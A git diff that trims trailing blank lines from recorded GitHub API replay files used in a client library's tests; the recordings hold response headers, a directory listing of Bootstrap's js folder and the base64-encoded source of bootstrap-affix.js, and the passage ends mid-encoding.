b0add897be..46ea536e6e 100644 --- a/tests/ReplayData/Issue140.testGetDirContentsThenLazyCompletionOfFile.txt +++ b/tests/ReplayData/Issue140.testGetDirContentsThenLazyCompletionOfFile.txt @@ -19,4 +19,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4975'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('vary', 'Accept, Authorization, Cookie'), ('content-length', '5532'), ('server', 'GitHub.com'), ('last-modified', 'Fri, 08 Feb 2013 06:13:13 GMT'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"23daa8e0f42915d5ce84a6a117122afa"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Sat, 16 Feb 2013 17:59:15 GMT'), ('content-type', 'application/json; charset=utf-8')] {"sha":"7595fdb06771c324e1c3e0a166fdeafa1933e0f5","size":3483,"name":"bootstrap-affix.js","path":"js/bootstrap-affix.js","type":"file","url":"https://api.github.com/repos/twitter/bootstrap/contents/js/bootstrap-affix.js","git_url":"https://api.github.com/repos/twitter/bootstrap/git/blobs/7595fdb06771c324e1c3e0a166fdeafa1933e0f5","html_url":"https://github.com/twitter/bootstrap/blob/master/js/bootstrap-affix.js","_links":{"self":"https://api.github.com/repos/twitter/bootstrap/contents/js/bootstrap-affix.js","git":"https://api.github.com/repos/twitter/bootstrap/git/blobs/7595fdb06771c324e1c3e0a166fdeafa1933e0f5","html":"https://github.com/twitter/bootstrap/blob/master/js/bootstrap-affix.js"},"content":"LyogPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09\nPT09PT09PT09PT09PT09PQogKiBib290c3RyYXAtYWZmaXguanMgdjIuMy4w\nCiAqIGh0dHA6Ly90d2l0dGVyLmdpdGh1Yi5jb20vYm9vdHN0cmFwL2phdmFz\nY3JpcHQuaHRtbCNhZmZpeAogKiA9PT09PT09PT09PT09PT09PT09PT09PT09\nPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09CiAqIENvcHlyaWdo\ndCAyMDEyIFR3aXR0ZXIsIEluYy4KICoKICogTGljZW5zZWQgdW5kZXIgdGhl\nIEFwYWNoZSBMaWNlbnNlLCBWZXJzaW9uIDIuMCAodGhlICJMaWNlbnNlIik7\nCiAqIHlvdSBtYXkgbm90IHVzZSB0aGlzIGZpbGUgZXhjZXB0IGluIGNvbXBs\naWFuY2Ugd2l0aCB0aGUgTGljZW5zZS4KICogWW91IG1heSBvYnRhaW4gYSBj\nb3B5IG9mIHRoZSBMaWNlbnNlIGF0CiAqCiAqIGh0dHA6Ly93d3cuYXBhY2hl\nLm9yZy9saWNlbnNlcy9MSUNFTlNFLTIuMAogKgogKiBVbmxlc3MgcmVxdWly\nZWQgYnkgYXBwbGljYWJsZSBsYXcgb3IgYWdyZWVkIHRvIGluIHdyaXRpbmcs\nIHNvZnR3YXJlCiAqIGRpc3RyaWJ1dGVkIHVuZGVyIHRoZSBMaWNlbnNlIGlz\nIGRpc3RyaWJ1dGVkIG9uIGFuICJBUyBJUyIgQkFTSVMsCiAqIFdJVEhPVVQg\nV0FSUkFOVElFUyBPUiBDT05ESVRJT05TIE9GIEFOWSBLSU5ELCBlaXRoZXIg\nZXhwcmVzcyBvciBpbXBsaWVkLgogKiBTZWUgdGhlIExpY2Vuc2UgZm9yIHRo\nZSBzcGVjaWZpYyBsYW5ndWFnZSBnb3Zlcm5pbmcgcGVybWlzc2lvbnMgYW5k\nCiAqIGxpbWl0YXRpb25zIHVuZGVyIHRoZSBMaWNlbnNlLgogKiA9PT09PT09\nPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09\nPT09PT09ICovCgoKIWZ1bmN0aW9uICgkKSB7CgogICJ1c2Ugc3RyaWN0Ijsg\nLy8ganNoaW50IDtfOwoKCiAvKiBBRkZJWCBDTEFTUyBERUZJTklUSU9OCiAg\nKiA9PT09PT09PT09PT09PT09PT09PT09ICovCgogIHZhciBBZmZpeCA9IGZ1\nbmN0aW9uIChlbGVtZW50LCBvcHRpb25zKSB7CiAgICB0aGlzLm9wdGlvbnMg\nPSAkLmV4dGVuZCh7fSwgJC5mbi5hZmZpeC5kZWZhdWx0cywgb3B0aW9ucykK\nICAgIHRoaXMuJHdpbmRvdyA9ICQod2luZG93KQogICAgICAub24oJ3Njcm9s\nbC5hZmZpeC5kYXRhLWFwaScsICQucHJveHkodGhpcy5jaGVja1Bvc2l0aW9u\nLCB0aGlzKSkKICAgICAgLm9uKCdjbGljay5hZmZpeC5kYXRhLWFwaScsICAk\nLnByb3h5KGZ1bmN0aW9uICgpIHsgc2V0VGltZW91dCgkLnByb3h5KHRoaXMu\nY2hlY2tQb3NpdGlvbiwgdGhpcyksIDEpIH0sIHRoaXMpKQogICAgdGhpcy4k\nZWxlbWVudCA9ICQoZWxlbWVudCkKICAgIHRoaXMuY2hlY2tQb3NpdGlvbigp\nCiAgfQoKICBBZmZpeC5wcm90b3R5cGUuY2hlY2tQb3NpdGlvbiA9IGZ1bmN0\naW9uICgpIHsKICAgIGlmICghdGhpcy4kZWxlbWVudC5pcygnOnZpc2libGUn\nKSkgcmV0dXJuCgogICAgdmFyIHNjcm9sbEhlaWdodCA9ICQoZG9jdW1lbnQp\nLmhlaWdodCgpCiAgICAgICwgc2Nyb2xsVG9wID0gdGhpcy4kd2luZG93LnNj\ncm9sbFRvcCgpCiAgICAgICwgcG9zaXRpb24gPSB0aGlzLiRlbGVtZW50Lm9m\nZnNldCgpCiAgICAgICwgb2Zmc2V0ID0gdGhpcy5vcHRpb25zLm9mZnNldAog\nICAgICAsIG9mZnNldEJvdHRvbSA9IG9mZnNldC5ib3R0b20KICAgICAgLCBv\nZmZzZXRUb3AgPSBvZmZzZXQudG9wCiAgICAgICwgcmVzZXQgPSAnYWZmaXgg\nYWZmaXgtdG9wIGFmZml4LWJvdHRvbScKICAgICAgLCBhZmZpeAoKICAgIGlm\nICh0eXBlb2Ygb2Zmc2V0ICE9ICdvYmplY3QnKSBvZmZzZXRCb3R0b20gPSBv\nZmZzZXRUb3AgPSBvZmZzZXQKICAgIGlmICh0eXBlb2Ygb2Zmc2V0VG9wID09\nICdmdW5jdGlvbicpIG9mZnNldFRvcCA9IG9mZnNldC50b3AoKQogICAgaWYg\nKHR5cGVvZiBvZmZzZXRCb3R0b20gPT0gJ2Z1bmN0aW9uJykgb2Zmc2V0Qm90\ndG9tID0gb2Zmc2V0LmJvdHRvbSgpCgogICAgYWZmaXggPSB0aGlzLnVucGlu\nICE9IG51bGwgJiYgKHNjcm9sbFRvcCArIHRoaXMudW5waW4gPD0gcG9zaXRp\nb24udG9wKSA/CiAgICAgIGZhbHNlICAgIDogb2Zmc2V0Qm90dG9tICE9IG51\nbGwgJiYgKHBvc2l0aW9uLnRvcCArIHRoaXMuJGVsZW1lbnQuaGVpZ2h0KCkg\nPj0gc2Nyb2xsSGVpZ2h0IC0gb2Zmc2V0Qm90dG9tKSA/CiAgICAgICdib3R0\nb20nIDogb2Zmc2V0VG9wICE9IG51bGwgJiYgc2Nyb2xsVG9wIDw9IG9mZnNl\ndFRvcCA/CiAgICAgICd0b3AnICAgIDogZmFsc2UKCiAgICBpZiAodGhpcy5h\nZmZpeGVkID09PSBhZmZpeCkgcmV0dXJuCgogICAgdGhpcy5hZmZpeGVkID0g\nYWZmaXgKICAgIHRoaXMudW5waW4gPSBhZmZpeCA9PSAnYm90dG9tJyA/IHBv\nc2l0aW9uLnRvcCAtIHNjcm9sbFRvcCA6IG51bGwKCiAgICB0aGlzLiRlbGVt\nZW50LnJlbW92ZUNsYXNzKHJlc2V0KS5hZGRDbGFzcygnYWZmaXgnICsgKGFm\nZml4ID8gJy0nICsgYWZmaXggOiAnJykpCiAgfQoKCiAvKiBBRkZJWCBQTFVH\nSU4gREVGSU5JVElPTgogICogPT09PT09PT09PT09PT09PT09PT09PT0gKi8K\nCiAgdmFyIG9sZCA9ICQuZm4uYWZmaXgKCiAgJC5mbi5hZmZpeCA9IGZ1bmN0\naW9uIChvcHRpb24pIHsKICAgIHJldHVybiB0aGlzLmVhY2goZnVuY3Rpb24g\nKCkgewogICAgICB2YXIgJHRoaXMgPSAkKHRoaXMpCiAgICAgICAgLCBkYXRh\nID0gJHRoaXMuZGF0YSgnYWZmaXgnKQogICAgICAgICwgb3B0aW9ucyA9IHR5\ncGVvZiBvcHRpb24gPT0gJ29iamVjdCcgJiYgb3B0aW9uCiAgICAgIGlmICgh\nZGF0YSkgJHRoaXMuZGF0YSgnYWZmaXgnLCAoZGF0YSA9IG5ldyBBZmZpeCh0\naGlzLCBvcHRpb25zKSkpCiAgICAgIGlmICh0eXBlb2Ygb3B0aW9uID09ICdz\ndHJpbmcnKSBkYXRhW29wdGlvbl0oKQogICAgfSkKICB9CgogICQuZm4uYWZm\naXguQ29uc3RydWN0b3IgPSBBZmZpeAoKICAkLmZuLmFmZml4LmRlZmF1bHRz\nID0gewogICAgb2Zmc2V0OiAwCiAgfQoKCiAvKiBBRkZJWCBOTyBDT05GTElD\nVAogICogPT09PT09PT09PT09PT09PT0gKi8KCiAgJC5mbi5hZmZpeC5ub0Nv\nbmZsaWN0ID0gZnVuY3Rpb24gKCkgewogICAgJC5mbi5hZmZpeCA9IG9sZAog\nICAgcmV0dXJuIHRoaXMKICB9CgoKIC8qIEFGRklYIERBVEEtQVBJCiAgKiA9\nPT09PT09PT09PT09PSAqLwoKICAkKHdpbmRvdykub24oJ2xvYWQnLCBmdW5j\ndGlvbiAoKSB7CiAgICAkKCdbZGF0YS1zcHk9ImFmZml4Il0nKS5lYWNoKGZ1\nbmN0aW9uICgpIHsKICAgICAgdmFyICRzcHkgPSAkKHRoaXMpCiAgICAgICAg\nLCBkYXRhID0gJHNweS5kYXRhKCkKCiAgICAgIGRhdGEub2Zmc2V0ID0gZGF0\nYS5vZmZzZXQgfHwge30KCiAgICAgIGRhdGEub2Zmc2V0Qm90dG9tICYmIChk\nYXRhLm9mZnNldC5ib3R0b20gPSBkYXRhLm9mZnNldEJvdHRvbSkKICAgICAg\nZGF0YS5vZmZzZXRUb3AgJiYgKGRhdGEub2Zmc2V0LnRvcCA9IGRhdGEub2Zm\nc2V0VG9wKQoKICAgICAgJHNweS5hZmZpeChkYXRhKQogICAgfSkKICB9KQoK\nCn0od2luZG93LmpRdWVyeSk7\n","encoding":"base64"} - diff --git a/tests/ReplayData/Issue140.testGetDirContentsWithRef.txt b/tests/ReplayData/Issue140.testGetDirContentsWithRef.txt index 01cab386c0..eb52ef96d2 100644 --- a/tests/ReplayData/Issue140.testGetDirContentsWithRef.txt +++ b/tests/ReplayData/Issue140.testGetDirContentsWithRef.txt @@ -8,4 +8,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4998'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('vary', 'Accept, Authorization, Cookie'), ('content-length', '12794'), ('server', 'GitHub.com'), ('last-modified', 'Wed, 20 Feb 2013 17:41:42 GMT'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"1d3ee11cf26854a582d3ae4760013142"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Wed, 20 Feb 2013 17:43:06 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"sha":"e0722690bd73b3195d87577aab3bba151a85f7e0","size":232,"name":".jshintrc","path":"js/.jshintrc","type":"file","url":"https://api.github.com/repos/twitter/bootstrap/contents/js/.jshintrc?ref=8c7f9c66a7d12f47f50618ef420868fe836d0c33","git_url":"https://api.github.com/repos/twitter/bootstrap/git/blobs/e0722690bd73b3195d87577aab3bba151a85f7e0","html_url":"https://github.com/twitter/bootstrap/blob/8c7f9c66a7d12f47f50618ef420868fe836d0c33/js/.jshintrc","_links":{"self":"https://api.github.com/repos/twitter/bootstrap/contents/js/.jshintrc?ref=8c7f9c66a7d12f47f50618ef420868fe836d0c33","git":"https://api.github.com/repos/twitter/bootstrap/git/blobs/e0722690bd73b3195d87577aab3bba151a85f7e0","html":"https://github.com/twitter/bootstrap/blob/8c7f9c66a7d12f47f50618ef420868fe836d0c33/js/.jshintrc"}},{"sha":"7595fdb06771c324e1c3e0a166fdeafa1933e0f5","size":3483,"name":"bootstrap-affix.js","path":"js/bootstrap-affix.js","type":"file","url":"https://api.github.com/repos/twitter/bootstrap/contents/js/bootstrap-affix.js?ref=8c7f9c66a7d12f47f50618ef420868fe836d0c33","git_url":"https://api.github.com/repos/twitter/bootstrap/git/blobs/7595fdb06771c324e1c3e0a166fdeafa1933e0f5","html_url":"https://github.com/twitter/bootstrap/blob/8c7f9c66a7d12f47f50618ef420868fe836d0c33/js/bootstrap-affix.js","_links":{"self":"https://api.github.com/repos/twitter/bootstrap/contents/js/bootstrap-affix.js?ref=8c7f9c66a7d12f47f50618ef420868fe836d0c33","git":"https://api.github.com/repos/twitter/bootstrap/git/blobs/7595fdb06771c324e1c3e0a166fdeafa1933e0f5","html":"https://github.com/twitter/bootstrap/blob/8c7f9c66a7d12f47f50618ef420868fe836d0c33/js/bootstrap-affix.js"}},{"sha":"b5627984e4ca3b49ae63943aa9f0204c266c65af","size":2524,"name":"bootstrap-alert.js","path":"js/bootstrap-alert.js","type":"file","url":"https://api.github.com/repos/twitter/bootstrap/contents/js/bootstrap-alert.js?ref=8c7f9c66a7d12f47f50618ef420868fe836d0c33","git_url":"https://api.github.com/repos/twitter/bootstrap/git/blobs/b5627984e4ca3b49ae63943aa9f0204c266c65af","html_url":"https://github.com/twitter/bootstrap/blob/8c7f9c66a7d12f47f50618ef420868fe836d0c33/js/bootstrap-alert.js","_links":{"self":"https://api.github.com/repos/twitter/bootstrap/contents/js/bootstrap-alert.js?ref=8c7f9c66a7d12f47f50618ef420868fe836d0c33","git":"https://api.github.com/repos/twitter/bootstrap/git/blobs/b5627984e4ca3b49ae63943aa9f0204c266c65af","html":"https://github.com/twitter/bootstrap/blob/8c7f9c66a7d12f47f50618ef420868fe836d0c33/js/bootstrap-alert.js"}},{"sha":"045927b6ba732ada14dbf5c0ec296623b37a5121","size":2841,"name":"bootstrap-button.js","path":"js/bootstrap-button.js","type":"file","url":"https://api.github.com/repos/twitter/bootstrap/contents/js/bootstrap-button.js?ref=8c7f9c66a7d12f47f50618ef420868fe836d0c33","git_url":"https://api.github.com/repos/twitter/bootstrap/git/blobs/045927b6ba732ada14dbf5c0ec296623b37a5121","html_url":"https://github.com/twitter/bootstrap/blob/8c7f9c66a7d12f47f50618ef420868fe836d0c33/js/bootstrap-button.js","_links":{"self":"https://api.github.com/repos/twitter/bootstrap/contents/js/bootstrap-button.js?ref=8c7f9c66a7d12f47f50618ef420868fe836d0c33","git":"https://api.github.com/repos/twitter/bootstrap/git/blobs/045927b6ba732ada14dbf5c0ec296623b37a5121","html":"https://github.com/twitter/bootstrap/blob/8c7f9c66a7d12f47f50618ef420868fe836d0c33/js/bootstrap-button.js"}},{"sha":"604552012b170bc20579c13d724883c253dd152a","size":6053,"name":"bootstrap-carousel.js","path":"js/bootstrap-carousel.js","type":"file","url":"https://api.github.com/repos/twitter/bootstrap/contents/js/bootstrap-carousel.js?ref=8c7f9c66a7d12f47f50618ef420868fe836d0c33","git_url":"https://api.github.com/repos/twitter/bootstrap/git/blobs/604552012b170bc20579c13d724883c253dd152a","html_url":"https://github.com/twitter/bootstrap/blob/8c7f9c66a7d12f47f50618ef420868fe836d0c33/js/bootstrap-carousel.js","_links":{"self":"https://api.github.com/repos/twitter/bootstrap/contents/js/bootstrap-carousel.js?ref=8c7f9c66a7d12f47f50618ef420868fe836d0c33","git":"https://api.github.com/repos/twitter/bootstrap/git/blobs/604552012b170bc20579c13d724883c253dd152a","html":"https://github.com/twitter/bootstrap/blob/8c7f9c66a7d12f47f50618ef420868fe836d0c33/js/bootstrap-carousel.js"}},{"sha":"7bbad8e43aba9a778fa54650237f7acb96e783c9","size":4735,"name":"bootstrap-collapse.js","path":"js/bootstrap-collapse.js","type":"file","url":"https://api.github.com/repos/twitter/bootstrap/contents/js/bootstrap-collapse.js?ref=8c7f9c66a7d12f47f50618ef420868fe836d0c33","git_url":"https://api.github.com/repos/twitter/bootstrap/git/blobs/7bbad8e43aba9a778fa54650237f7acb96e783c9","html_url":"https://github.com/twitter/bootstrap/blob/8c7f9c66a7d12f47f50618ef420868fe836d0c33/js/bootstrap-collapse.js","_links":{"self":"https://api.github.com/repos/twitter/bootstrap/contents/js/bootstrap-collapse.js?ref=8c7f9c66a7d12f47f50618ef420868fe836d0c33","git":"https://api.github.com/repos/twitter/bootstrap/git/blobs/7bbad8e43aba9a778fa54650237f7acb96e783c9","html":"https://github.com/twitter/bootstrap/blob/8c7f9c66a7d12f47f50618ef420868fe836d0c33/js/bootstrap-collapse.js"}},{"sha":"ec86cf0d709577fc840a64123993dc69c6ae292a","size":4198,"name":"bootstrap-dropdown.js","path":"js/bootstrap-dropdown.js","type":"file","url":"https://api.github.com/repos/twitter/bootstrap/contents/js/bootstrap-dropdown.js?ref=8c7f9c66a7d12f47f50618ef420868fe836d0c33","git_url":"https://api.github.com/repos/twitter/bootstrap/git/blobs/ec86cf0d709577fc840a64123993dc69c6ae292a","html_url":"https://github.com/twitter/bootstrap/blob/8c7f9c66a7d12f47f50618ef420868fe836d0c33/js/bootstrap-dropdown.js","_links":{"self":"https://api.github.com/repos/twitter/bootstrap/contents/js/bootstrap-dropdown.js?ref=8c7f9c66a7d12f47f50618ef420868fe836d0c33","git":"https://api.github.com/repos/twitter/bootstrap/git/blobs/ec86cf0d709577fc840a64123993dc69c6ae292a","html":"https://github.com/twitter/bootstrap/blob/8c7f9c66a7d12f47f50618ef420868fe836d0c33/js/bootstrap-dropdown.js"}},{"sha":"b5ffa95b3b7639607a279d06b3e5e1c584acb5b4","size":6638,"name":"bootstrap-modal.js","path":"js/bootstrap-modal.js","type":"file","url":"https://api.github.com/repos/twitter/bootstrap/contents/js/bootstrap-modal.js?ref=8c7f9c66a7d12f47f50618ef420868fe836d0c33","git_url":"https://api.github.com/repos/twitter/bootstrap/git/blobs/b5ffa95b3b7639607a279d06b3e5e1c584acb5b4","html_url":"https://github.com/twitter/bootstrap/blob/8c7f9c66a7d12f47f50618ef420868fe836d0c33/js/bootstrap-modal.js","_links":{"self":"https://api.github.com/repos/twitter/bootstrap/contents/js/bootstrap-modal.js?ref=8c7f9c66a7d12f47f50618ef420868fe836d0c33","git":"https://api.github.com/repos/twitter/bootstrap/git/blobs/b5ffa95b3b7639607a279d06b3e5e1c584acb5b4","html":"https://github.com/twitter/bootstrap/blob/8c7f9c66a7d12f47f50618ef420868fe836d0c33/js/bootstrap-modal.js"}},{"sha":"0e7774bf668c75a7b93989a1146fbb8822d5489d","size":3115,"name":"bootstrap-popover.js","path":"js/bootstrap-popover.js","type":"file","url":"https://api.github.com/repos/twitter/bootstrap/contents/js/bootstrap-popover.js?ref=8c7f9c66a7d12f47f50618ef420868fe836d0c33","git_url":"https://api.github.com/repos/twitter/bootstrap/git/blobs/0e7774bf668c75a7b93989a1146fbb8822d5489d","html_url":"https://github.com/twitter/bootstrap/blob/8c7f9c66a7d12f47f50618ef420868fe836d0c33/js/bootstrap-popover.js","_links":{"self":"https://api.github.com/repos/twitter/bootstrap/contents/js/bootstrap-popover.js?ref=8c7f9c66a7d12f47f50618ef420868fe836d0c33","git":"https://api.github.com/repos/twitter/bootstrap/git/blobs/0e7774bf668c75a7b93989a1146fbb8822d5489d","html":"https://github.com/twitter/bootstrap/blob/8c7f9c66a7d12f47f50618ef420868fe836d0c33/js/bootstrap-popover.js"}},{"sha":"dff9a3b37518c2ccf6f0fbe23b327860cb6fee08","size":4655,"name":"bootstrap-scrollspy.js","path":"js/bootstrap-scrollspy.js","type":"file","url":"https://api.github.com/repos/twitter/bootstrap/contents/js/bootstrap-scrollspy.js?ref=8c7f9c66a7d12f47f50618ef420868fe836d0c33","git_url":"https://api.github.com/repos/twitter/bootstrap/git/blobs/dff9a3b37518c2ccf6f0fbe23b327860cb6fee08","html_url":"https://github.com/twitter/bootstrap/blob/8c7f9c66a7d12f47f50618ef420868fe836d0c33/js/bootstrap-scrollspy.js","_links":{"self":"https://api.github.com/repos/twitter/bootstrap/contents/js/bootstrap-scrollspy.js?ref=8c7f9c66a7d12f47f50618ef420868fe836d0c33","git":"https://api.github.com/repos/twitter/bootstrap/git/blobs/dff9a3b37518c2ccf6f0fbe23b327860cb6fee08","html":"https://github.com/twitter/bootstrap/blob/8c7f9c66a7d12f47f50618ef420868fe836d0c33/js/bootstrap-scrollspy.js"}},{"sha":"bd77eb5c358074801f20de0f46b1e2e9d1b1247b","size":3496,"name":"bootstrap-tab.js","path":"js/bootstrap-tab.js","type":"file","url":"https://api.github.com/repos/twitter/bootstrap/contents/js/bootstrap-tab.js?ref=8c7f9c66a7d12f47f50618ef420868fe836d0c33","git_url":"https://api.github.com/repos/twitter/bootstrap/git/blobs/bd77eb5c358074801f20de0f46b1e2e9d1b1247b","html_url":"https://github.com/twitter/bootstrap/blob/8c7f9c66a7d12f47f50618ef420868fe836d0c33/js/bootstrap-tab.js","_links":{"self":"https://api.github.com/repos/twitter/bootstrap/contents/js/bootstrap-tab.js?ref=8c7f9c66a7d12f47f50618ef420868fe836d0c33","git":"https://api.github.com/repos/twitter/bootstrap/git/blobs/bd77eb5c358074801f20de0f46b1e2e9d1b1247b","html":"https://github.com/twitter/bootstrap/blob/8c7f9c66a7d12f47f50618ef420868fe836d0c33/js/bootstrap-tab.js"}},{"sha":"981319077e9bdb4ea0dcbee50dfe5715a54b4c51","size":9694,"name":"bootstrap-tooltip.js","path":"js/bootstrap-tooltip.js","type":"file","url":"https://api.github.com/repos/twitter/bootstrap/contents/js/bootstrap-tooltip.js?ref=8c7f9c66a7d12f47f50618ef420868fe836d0c33","git_url":"https://api.github.com/repos/twitter/bootstrap/git/blobs/981319077e9bdb4ea0dcbee50dfe5715a54b4c51","html_url":"https://github.com/twitter/bootstrap/blob/8c7f9c66a7d12f47f50618ef420868fe836d0c33/js/bootstrap-tooltip.js","_links":{"self":"https://api.github.com/repos/twitter/bootstrap/contents/js/bootstrap-tooltip.js?ref=8c7f9c66a7d12f47f50618ef420868fe836d0c33","git":"https://api.github.com/repos/twitter/bootstrap/git/blobs/981319077e9bdb4ea0dcbee50dfe5715a54b4c51","html":"https://github.com/twitter/bootstrap/blob/8c7f9c66a7d12f47f50618ef420868fe836d0c33/js/bootstrap-tooltip.js"}},{"sha":"64f275778094043dc871f94ceacadbe7f74f9734","size":1756,"name":"bootstrap-transition.js","path":"js/bootstrap-transition.js","type":"file","url":"https://api.github.com/repos/twitter/bootstrap/contents/js/bootstrap-transition.js?ref=8c7f9c66a7d12f47f50618ef420868fe836d0c33","git_url":"https://api.github.com/repos/twitter/bootstrap/git/blobs/64f275778094043dc871f94ceacadbe7f74f9734","html_url":"https://github.com/twitter/bootstrap/blob/8c7f9c66a7d12f47f50618ef420868fe836d0c33/js/bootstrap-transition.js","_links":{"self":"https://api.github.com/repos/twitter/bootstrap/contents/js/bootstrap-transition.js?ref=8c7f9c66a7d12f47f50618ef420868fe836d0c33","git":"https://api.github.com/repos/twitter/bootstrap/git/blobs/64f275778094043dc871f94ceacadbe7f74f9734","html":"https://github.com/twitter/bootstrap/blob/8c7f9c66a7d12f47f50618ef420868fe836d0c33/js/bootstrap-transition.js"}},{"sha":"960f2af85a7ced44c4e3190255ee3092c3665bbb","size":8320,"name":"bootstrap-typeahead.js","path":"js/bootstrap-typeahead.js","type":"file","url":"https://api.github.com/repos/twitter/bootstrap/contents/js/bootstrap-typeahead.js?ref=8c7f9c66a7d12f47f50618ef420868fe836d0c33","git_url":"https://api.github.com/repos/twitter/bootstrap/git/blobs/960f2af85a7ced44c4e3190255ee3092c3665bbb","html_url":"https://github.com/twitter/bootstrap/blob/8c7f9c66a7d12f47f50618ef420868fe836d0c33/js/bootstrap-typeahead.js","_links":{"self":"https://api.github.com/repos/twitter/bootstrap/contents/js/bootstrap-typeahead.js?ref=8c7f9c66a7d12f47f50618ef420868fe836d0c33","git":"https://api.github.com/repos/twitter/bootstrap/git/blobs/960f2af85a7ced44c4e3190255ee3092c3665bbb","html":"https://github.com/twitter/bootstrap/blob/8c7f9c66a7d12f47f50618ef420868fe836d0c33/js/bootstrap-typeahead.js"}},{"sha":"f1ad7515dc05d0e2bc60f7c292e4f2134dcd91cf","size":0,"name":"tests","path":"js/tests","type":"dir","url":"https://api.github.com/repos/twitter/bootstrap/contents/js/tests","git_url":"https://api.github.com/repos/twitter/bootstrap/git/trees/f1ad7515dc05d0e2bc60f7c292e4f2134dcd91cf","html_url":"https://github.com/twitter/bootstrap/tree/8c7f9c66a7d12f47f50618ef420868fe836d0c33/js/tests","_links":{"self":"https://api.github.com/repos/twitter/bootstrap/contents/js/tests","git":"https://api.github.com/repos/twitter/bootstrap/git/trees/f1ad7515dc05d0e2bc60f7c292e4f2134dcd91cf","html":"https://github.com/twitter/bootstrap/tree/8c7f9c66a7d12f47f50618ef420868fe836d0c33/js/tests"}}] - diff --git a/tests/ReplayData/Issue140.testGetFileContents.txt b/tests/ReplayData/Issue140.testGetFileContents.txt index ec701bafbc..c4a4f8c4e0 100644 --- a/tests/ReplayData/Issue140.testGetFileContents.txt +++ b/tests/ReplayData/Issue140.testGetFileContents.txt @@ -8,4 +8,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4989'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('vary', 'Accept, Authorization, Cookie'), ('content-length', '5532'), ('server', 'GitHub.com'), ('last-modified', 'Fri, 08 Feb 2013 06:13:13 GMT'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"23daa8e0f42915d5ce84a6a117122afa"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Sat, 16 Feb 2013 17:47:30 GMT'), ('content-type', 'application/json; charset=utf-8')] {"sha":"7595fdb06771c324e1c3e0a166fdeafa1933e0f5","size":3483,"name":"bootstrap-affix.js","path":"js/bootstrap-affix.js","type":"file","url":"https://api.github.com/repos/twitter/bootstrap/contents/js/bootstrap-affix.js","git_url":"https://api.github.com/repos/twitter/bootstrap/git/blobs/7595fdb06771c324e1c3e0a166fdeafa1933e0f5","html_url":"https://github.com/twitter/bootstrap/blob/master/js/bootstrap-affix.js","_links":{"self":"https://api.github.com/repos/twitter/bootstrap/contents/js/bootstrap-affix.js","git":"https://api.github.com/repos/twitter/bootstrap/git/blobs/7595fdb06771c324e1c3e0a166fdeafa1933e0f5","html":"https://github.com/twitter/bootstrap/blob/master/js/bootstrap-affix.js"},"content":"LyogPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09\nPT09PT09PT09PT09PT09PQogKiBib290c3RyYXAtYWZmaXguanMgdjIuMy4w\nCiAqIGh0dHA6Ly90d2l0dGVyLmdpdGh1Yi5jb20vYm9vdHN0cmFwL2phdmFz\nY3JpcHQuaHRtbCNhZmZpeAogKiA9PT09PT09PT09PT09PT09PT09PT09PT09\nPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09CiAqIENvcHlyaWdo\ndCAyMDEyIFR3aXR0ZXIsIEluYy4KICoKICogTGljZW5zZWQgdW5kZXIgdGhl\nIEFwYWNoZSBMaWNlbnNlLCBWZXJzaW9uIDIuMCAodGhlICJMaWNlbnNlIik7\nCiAqIHlvdSBtYXkgbm90IHVzZSB0aGlzIGZpbGUgZXhjZXB0IGluIGNvbXBs\naWFuY2Ugd2l0aCB0aGUgTGljZW5zZS4KICogWW91IG1heSBvYnRhaW4gYSBj\nb3B5IG9mIHRoZSBMaWNlbnNlIGF0CiAqCiAqIGh0dHA6Ly93d3cuYXBhY2hl\nLm9yZy9saWNlbnNlcy9MSUNFTlNFLTIuMAogKgogKiBVbmxlc3MgcmVxdWly\nZWQgYnkgYXBwbGljYWJsZSBsYXcgb3IgYWdyZWVkIHRvIGluIHdyaXRpbmcs\nIHNvZnR3YXJlCiAqIGRpc3RyaWJ1dGVkIHVuZGVyIHRoZSBMaWNlbnNlIGlz\nIGRpc3RyaWJ1dGVkIG9uIGFuICJBUyBJUyIgQkFTSVMsCiAqIFdJVEhPVVQg\nV0FSUkFOVElFUyBPUiBDT05ESVRJT05TIE9GIEFOWSBLSU5ELCBlaXRoZXIg\nZXhwcmVzcyBvciBpbXBsaWVkLgogKiBTZWUgdGhlIExpY2Vuc2UgZm9yIHRo\nZSBzcGVjaWZpYyBsYW5ndWFnZSBnb3Zlcm5pbmcgcGVybWlzc2lvbnMgYW5k\nCiAqIGxpbWl0YXRpb25zIHVuZGVyIHRoZSBMaWNlbnNlLgogKiA9PT09PT09\nPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09\nPT09PT09ICovCgoKIWZ1bmN0aW9uICgkKSB7CgogICJ1c2Ugc3RyaWN0Ijsg\nLy8ganNoaW50IDtfOwoKCiAvKiBBRkZJWCBDTEFTUyBERUZJTklUSU9OCiAg\nKiA9PT09PT09PT09PT09PT09PT09PT09ICovCgogIHZhciBBZmZpeCA9IGZ1\nbmN0aW9uIChlbGVtZW50LCBvcHRpb25zKSB7CiAgICB0aGlzLm9wdGlvbnMg\nPSAkLmV4dGVuZCh7fSwgJC5mbi5hZmZpeC5kZWZhdWx0cywgb3B0aW9ucykK\nICAgIHRoaXMuJHdpbmRvdyA9ICQod2luZG93KQogICAgICAub24oJ3Njcm9s\nbC5hZmZpeC5kYXRhLWFwaScsICQucHJveHkodGhpcy5jaGVja1Bvc2l0aW9u\nLCB0aGlzKSkKICAgICAgLm9uKCdjbGljay5hZmZpeC5kYXRhL